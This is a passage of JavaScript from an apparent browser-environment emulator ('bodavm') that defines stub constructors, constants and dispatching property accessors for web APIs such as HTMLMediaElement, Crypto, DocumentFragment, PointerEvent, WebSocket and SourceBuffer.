bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "onwaitingforkey_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "srcObject", {configurable:true, enumerable:true, get:function srcObject (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "srcObject_get", arguments)}, set:function srcObject (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "srcObject_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_EMPTY", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_IDLE", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_LOADING", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_NO_SOURCE", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_NOTHING", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_METADATA", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_CURRENT_DATA", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_FUTURE_DATA", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_ENOUGH_DATA", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "addTextTrack", {configurable:true, enumerable:true, writable:true, value:function addTextTrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "addTextTrack", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "canPlayType", {configurable:true, enumerable:true, writable:true, value:function canPlayType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "canPlayType", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "captureStream", {configurable:true, enumerable:true, writable:true, value:function captureStream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "captureStream", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "load", {configurable:true, enumerable:true, writable:true, value:function load (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "load", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "pause", {configurable:true, enumerable:true, writable:true, value:function pause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "pause", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "play", {configurable:true, enumerable:true, writable:true, value:function play (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "play", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "sinkId", {configurable:true, enumerable:true, get:function sinkId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "sinkId_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "remote", {configurable:true, enumerable:true, get:function remote (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "remote_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "disableRemotePlayback", {configurable:true, enumerable:true, get:function disableRemotePlayback (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "disableRemotePlayback_get", arguments)}, set:function disableRemotePlayback (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "disableRemotePlayback_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "setSinkId", {configurable:true, enumerable:true, writable:true, value:function setSinkId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "setSinkId", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "mediaKeys", {configurable:true, enumerable:true, get:function mediaKeys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "mediaKeys_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "setMediaKeys", {configurable:true, enumerable:true, writable:true, value:function setMediaKeys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "setMediaKeys", arguments)}},'prototype'); - -// Audio对象 -bodavm.memory.globalobj['Audio'] = function Audio(){this._boarg= new bodaobj.window.Audio();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Audio'], "Audio"); -bodavm.memory.globalobj['Audio'].prototype.__proto__=bodavm.memory.globalobj['HTMLMediaElement'].prototype; - -// HTMLAudioElement对象 -bodavm.memory.globalobj['HTMLAudioElement'] = function HTMLAudioElement(){if (!(this instanceof HTMLAudioElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLAudioElement'], "HTMLAudioElement"); -bodavm.memory.globalobj['HTMLAudioElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLMediaElement'].prototype; -bodavm.memory.globalobj['HTMLAudioElement'].__proto__=bodavm.memory.globalobj['HTMLMediaElement']; - -// Crypto对象 -bodavm.memory.globalobj['Crypto'] = function Crypto(){if (!(this instanceof Crypto)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Crypto'], "Crypto"); -bodavm.toolsFunc.defineProperty('Crypto', "getRandomValues", {configurable:true, enumerable:true, writable:true, value:function getRandomValues (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Crypto'].prototype, "Crypto", "getRandomValues", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Crypto', "subtle", {configurable:true, enumerable:true, get:function subtle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Crypto'].prototype, "Crypto", "subtle_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Crypto', "randomUUID", {configurable:true, enumerable:true, writable:true, value:function randomUUID (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Crypto'].prototype, "Crypto", "randomUUID", arguments)}},'prototype'); -// crypto对象 -bodavm.memory.globalobj['crypto'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['crypto'].__proto__=bodavm.memory.globalobj['Crypto'].prototype; - -// CDATASection对象 -bodavm.memory.globalobj['CDATASection'] = function CDATASection(){if (!(this instanceof CDATASection)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CDATASection'], "CDATASection"); -bodavm.memory.globalobj['CDATASection'].prototype.__proto__=bodavm.memory.globalobj['Text'].prototype; -bodavm.memory.globalobj['CDATASection'].__proto__=bodavm.memory.globalobj['Text']; - -// CredentialsContainer对象 -bodavm.memory.globalobj['CredentialsContainer'] = function CredentialsContainer(){if (!(this instanceof CredentialsContainer)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CredentialsContainer'], "CredentialsContainer"); -bodavm.toolsFunc.defineProperty('CredentialsContainer', "create", {configurable:true, enumerable:true, writable:true, value:function create (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CredentialsContainer'].prototype, "CredentialsContainer", "create", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CredentialsContainer', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CredentialsContainer'].prototype, "CredentialsContainer", "get", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CredentialsContainer', "preventSilentAccess", {configurable:true, enumerable:true, writable:true, value:function preventSilentAccess (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CredentialsContainer'].prototype, "CredentialsContainer", "preventSilentAccess", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CredentialsContainer', "store", {configurable:true, enumerable:true, writable:true, value:function store (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CredentialsContainer'].prototype, "CredentialsContainer", "store", arguments)}},'prototype'); - -// Comment对象 -bodavm.memory.globalobj['Comment'] = function Comment(){this._boarg= new bodaobj.window.Comment();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Comment'], "Comment"); -bodavm.memory.globalobj['Comment'].prototype.__proto__=bodavm.memory.globalobj['CharacterData'].prototype; -bodavm.memory.globalobj['Comment'].__proto__=bodavm.memory.globalobj['CharacterData']; - -// DocumentFragment对象 -bodavm.memory.globalobj['DocumentFragment'] = function DocumentFragment(){this._boarg= new bodaobj.window.DocumentFragment();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DocumentFragment'], "DocumentFragment"); -bodavm.memory.globalobj['DocumentFragment'].prototype.__proto__=bodavm.memory.globalobj['Node'].prototype; -bodavm.memory.globalobj['DocumentFragment'].__proto__=bodavm.memory.globalobj['Node']; -bodavm.toolsFunc.defineProperty('DocumentFragment', "children", {configurable:true, enumerable:true, get:function children (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "children_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DocumentFragment', "firstElementChild", {configurable:true, enumerable:true, get:function firstElementChild (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "firstElementChild_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DocumentFragment', "lastElementChild", {configurable:true, enumerable:true, get:function lastElementChild (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "lastElementChild_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DocumentFragment', "childElementCount", {configurable:true, enumerable:true, get:function childElementCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "childElementCount_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DocumentFragment', "append", {configurable:true, enumerable:true, writable:true, value:function append (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "append", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DocumentFragment', "getElementById", {configurable:true, enumerable:true, writable:true, value:function getElementById (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "getElementById", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DocumentFragment', "prepend", {configurable:true, enumerable:true, writable:true, value:function prepend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "prepend", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DocumentFragment', "querySelector", {configurable:true, enumerable:true, writable:true, value:function querySelector (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "querySelector", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DocumentFragment', "querySelectorAll", {configurable:true, enumerable:true, writable:true, value:function querySelectorAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "querySelectorAll", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DocumentFragment', "replaceChildren", {configurable:true, enumerable:true, writable:true, value:function replaceChildren (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "replaceChildren", arguments)}},'prototype'); - -// DocumentType对象 -bodavm.memory.globalobj['DocumentType'] = function DocumentType(){if (!(this instanceof DocumentType)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DocumentType'], "DocumentType"); -bodavm.memory.globalobj['DocumentType'].prototype.__proto__=bodavm.memory.globalobj['Node'].prototype; -bodavm.memory.globalobj['DocumentType'].__proto__=bodavm.memory.globalobj['Node']; -bodavm.toolsFunc.defineProperty('DocumentType', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentType'].prototype, "DocumentType", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DocumentType', "publicId", {configurable:true, enumerable:true, get:function publicId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentType'].prototype, "DocumentType", "publicId_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DocumentType', "systemId", {configurable:true, enumerable:true, get:function systemId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentType'].prototype, "DocumentType", "systemId_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DocumentType', "after", {configurable:true, enumerable:true, writable:true, value:function after (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentType'].prototype, "DocumentType", "after", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DocumentType', "before", {configurable:true, enumerable:true, writable:true, value:function before (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentType'].prototype, "DocumentType", "before", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DocumentType', "remove", {configurable:true, enumerable:true, writable:true, value:function remove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentType'].prototype, "DocumentType", "remove", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DocumentType', "replaceWith", {configurable:true, enumerable:true, writable:true, value:function replaceWith (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentType'].prototype, "DocumentType", "replaceWith", arguments)}},'prototype'); - -// DOMParser对象 -bodavm.memory.globalobj['DOMParser'] = function DOMParser(){this._boarg= new bodaobj.window.DOMParser();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMParser'], "DOMParser"); -bodavm.toolsFunc.defineProperty('DOMParser', "parseFromString", {configurable:true, enumerable:true, writable:true, value:function parseFromString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMParser'].prototype, "DOMParser", "parseFromString", arguments)}},'prototype'); - -// Bluetooth对象 -bodavm.memory.globalobj['Bluetooth'] = function Bluetooth(){if (!(this instanceof Bluetooth)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Bluetooth'], "Bluetooth"); -bodavm.memory.globalobj['Bluetooth'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['Bluetooth'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('Bluetooth', "getAvailability", {configurable:true, enumerable:true, writable:true, value:function getAvailability (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Bluetooth'].prototype, "Bluetooth", "getAvailability", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Bluetooth', "requestDevice", {configurable:true, enumerable:true, writable:true, value:function requestDevice (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Bluetooth'].prototype, "Bluetooth", "requestDevice", arguments)}},'prototype'); - -// External对象 -bodavm.memory.globalobj['External'] = function External(){if (!(this instanceof External)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['External'], "External"); -bodavm.toolsFunc.defineProperty('External', "AddSearchProvider", {configurable:true, enumerable:true, writable:true, value:function AddSearchProvider (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['External'].prototype, "External", "AddSearchProvider", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('External', "IsSearchProviderInstalled", {configurable:true, enumerable:true, writable:true, value:function IsSearchProviderInstalled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['External'].prototype, "External", "IsSearchProviderInstalled", arguments)}},'prototype'); -// external对象 -bodavm.memory.globalobj['external'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['external'].__proto__=bodavm.memory.globalobj['External'].prototype; - -// PointerEvent对象 -bodavm.memory.globalobj['PointerEvent'] = function PointerEvent(){if (!(this instanceof PointerEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PointerEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PointerEvent'], "PointerEvent"); -bodavm.memory.globalobj['PointerEvent'].prototype.__proto__=bodavm.memory.globalobj['MouseEvent'].prototype; -bodavm.memory.globalobj['PointerEvent'].__proto__=bodavm.memory.globalobj['MouseEvent']; -bodavm.toolsFunc.defineProperty('PointerEvent', "pointerId", {configurable:true, enumerable:true, get:function pointerId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "pointerId_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PointerEvent', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PointerEvent', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PointerEvent', "pressure", {configurable:true, enumerable:true, get:function pressure (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "pressure_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PointerEvent', "tiltX", {configurable:true, enumerable:true, get:function tiltX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "tiltX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PointerEvent', "tiltY", {configurable:true, enumerable:true, get:function tiltY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "tiltY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PointerEvent', "azimuthAngle", {configurable:true, enumerable:true, get:function azimuthAngle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "azimuthAngle_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PointerEvent', "altitudeAngle", {configurable:true, enumerable:true, get:function altitudeAngle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "altitudeAngle_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PointerEvent', "tangentialPressure", {configurable:true, enumerable:true, get:function tangentialPressure (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "tangentialPressure_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PointerEvent', "twist", {configurable:true, enumerable:true, get:function twist (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "twist_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PointerEvent', "pointerType", {configurable:true, enumerable:true, get:function pointerType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "pointerType_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PointerEvent', "isPrimary", {configurable:true, enumerable:true, get:function isPrimary (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "isPrimary_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PointerEvent', "getCoalescedEvents", {configurable:true, enumerable:true, writable:true, value:function getCoalescedEvents (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "getCoalescedEvents", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PointerEvent', "getPredictedEvents", {configurable:true, enumerable:true, writable:true, value:function getPredictedEvents (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "getPredictedEvents", arguments)}},'prototype'); - -// WebSocket对象 -bodavm.memory.globalobj['WebSocket'] = function WebSocket(){if (!(this instanceof WebSocket)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'WebSocket': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebSocket'], "WebSocket"); -bodavm.memory.globalobj['WebSocket'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['WebSocket'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('WebSocket', "CONNECTING", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('WebSocket', "OPEN", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('WebSocket', "CLOSING", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('WebSocket', "CLOSED", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('WebSocket', "url", {configurable:true, enumerable:true, get:function url (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "url_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebSocket', "readyState", {configurable:true, enumerable:true, get:function readyState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "readyState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebSocket', "bufferedAmount", {configurable:true, enumerable:true, get:function bufferedAmount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "bufferedAmount_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebSocket', "onopen", {configurable:true, enumerable:true, get:function onopen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onopen_get", arguments)}, set:function onopen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onopen_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebSocket', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebSocket', "onclose", {configurable:true, enumerable:true, get:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onclose_get", arguments)}, set:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onclose_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebSocket', "extensions", {configurable:true, enumerable:true, get:function extensions (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "extensions_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebSocket', "protocol", {configurable:true, enumerable:true, get:function protocol (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "protocol_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebSocket', "onmessage", {configurable:true, enumerable:true, get:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onmessage_get", arguments)}, set:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onmessage_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebSocket', "binaryType", {configurable:true, enumerable:true, get:function binaryType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "binaryType_get", arguments)}, set:function binaryType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "binaryType_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebSocket', "CONNECTING", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('WebSocket', "OPEN", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('WebSocket', "CLOSING", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('WebSocket', "CLOSED", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('WebSocket', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebSocket', "send", {configurable:true, enumerable:true, writable:true, value:function send (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "send", arguments)}},'prototype'); - -// SourceBuffer对象 -bodavm.memory.globalobj['SourceBuffer'] = function SourceBuffer(){if (!(this instanceof SourceBuffer)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SourceBuffer'], "SourceBuffer"); -bodavm.memory.globalobj['SourceBuffer'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['SourceBuffer'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('SourceBuffer', "mode", {configurable:true, enumerable:true, get:function mode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "mode_get", arguments)}, set:function mode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "mode_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SourceBuffer', "updating", {configurable:true, enumerable:true, get:function updating (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "updating_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SourceBuffer', "buffered", {configurable:true, enumerable:true, get:function buffered (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "buffered_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SourceBuffer', "timestampOffset", {configurable:true, enumerable:true, get:function timestampOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "timestampOffset_get", arguments)}, set:function timestampOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "timestampOffset_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SourceBuffer', "appendWindowStart", {configurable:true, enumerable:true, get:function appendWindowStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "appendWindowStart_get", arguments)}, set:function appendWindowStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "appendWindowStart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SourceBuffer', "appendWindowEnd", {configurable:true, enumerable:true, get:function appendWindowEnd 